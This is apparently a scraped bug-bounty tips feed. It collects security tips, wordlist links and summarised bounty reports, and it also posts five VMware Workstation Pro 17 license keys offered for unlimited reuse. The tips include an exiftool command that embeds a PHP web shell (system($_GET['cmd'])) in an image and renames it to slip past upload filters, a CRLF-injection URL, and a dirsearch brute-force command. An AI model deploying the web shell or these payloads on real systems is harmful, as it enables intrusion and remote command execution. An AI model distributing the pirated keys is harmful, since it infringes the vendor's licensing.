✨ReconFTW MindMap ✨

👍 Ok

I am doing QNA session Guys🔥

Ask Your Doubt 😃

Google Form : https://forms.gle/voGwXhUxC5QGF1999

I love ❤️ you all of you so much

Here are the license key for VMware workstation Pro 17 :

1. MC60H-DWHD5-H80U9-6V85M-8280D

2.
4A4RR-813DK-M81A9-4U35H-06KND

3.
NZ4RR-FTK5H-H81C1-Q30QH-1V2LA

4.
4C21U-2KK9Q-M8130-4V2QH-CF810

5.
4Y09U-AJK97-089Z0-A3054-83KLA

No limit to avail, these license key can you use multiple times

Bug Bounty Reports in Thread 🧵

Bug : GitHub For Bypassing Filtration
oF HTML tags [ Part - 1 ]
#bugbounty #infosec #hacking #cybersecurity

Bounty : $10000

Link : https://twitter.com/Vuln_Reports/status/1595017974045294594?s=20&t=BKUJh2QGdnwZ3jmwFwbbhQ

Check For CRLF injection in it 🎉
When webapp redirects you from http to https

For eX: http://example.com/%0d%0aTest:%20Test

and simultaneously check your developer's network tab with 301 and 302, Check the header 😃

#bugbounty #infosec

All Security Assessment Wordlists 📃 : 👇
in One Place

• https://github.com/danielmiessler/SecLists

• https://github.com/Dormidera/WordList-Compendium

• https://github.com/kaonashi-passwords/Kaonashi

• https://github.com/google/fuzzing/tree/master/dictionaries

• https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

#bugbounty #Infosec

General Discussion On :
IDOR CSRF AND ACCOUNT TAKEOVERS with HARSH BOTHRA

Link : https://youtu.be/kwePER0er84

#bugbounty #infosec #cybersecurity

Bypass File Upload Filtering :

In image :

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg

mv shell.jpg shell.php.jpg

#bugbountytip #infosec #cybersecuritytips

Create your own Wordlist 📃
Using "Crunch"

😃🎉🌵🔥☄✌😎
#bugbounty #infosec

Take a Look here : 🔝

Bug Bounty Tip 😃

When you're brute forcing for endpoints, don't forget to add extensions. You can also use this method to discover backup files. Here's a command I use frequently:

dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u <target>

Open Redirects Tips

#bugbounty #infsoec #cybersecurity

Parin's Burpsuite course for 0$, yeah totally #free.

https://www.udemy.com/course/bug-bounty-hunting-with-burp-suite/?couponCode=WHITEFRIDAYHERE

Coupons are limited. Be fast
Share to all.

#bugbounty #infosec

🔍 8 Best Recon Technique For Active Subdomain Enumeration

link : https://bugbountyguide.org/index.php/2022/11/26/8-best-recon-technique-for-active-subdomain-enumeration/

#bugbounty #infosec #cybersecurity

Bug Bounty Reports in Thread 🧵
#bugbounty #Infosec

Bug : OAuth 2.0
Open Redirect Leak of authenticity_token lead to full account take over.

Organisation : Twitter

Bounty : $1400

==Start==

Impact URL:
https://mobile.twitter. com/messages/follow?recipient=/example.com

•when He click Follow
•And this cause redirect his POST request to https://example.com which contains his authenticity_token

Impact : Can be used for anything like tweeting, following, sending messages, changing username.,.,.etc

it can be used too to Add a mobile number, and then steal the account by recovering it by the mobile number.

Thanks For Reading This Amazing Bug Bounty Reports in thread 🧵 On OAuth 2.0

Hope you like it 👍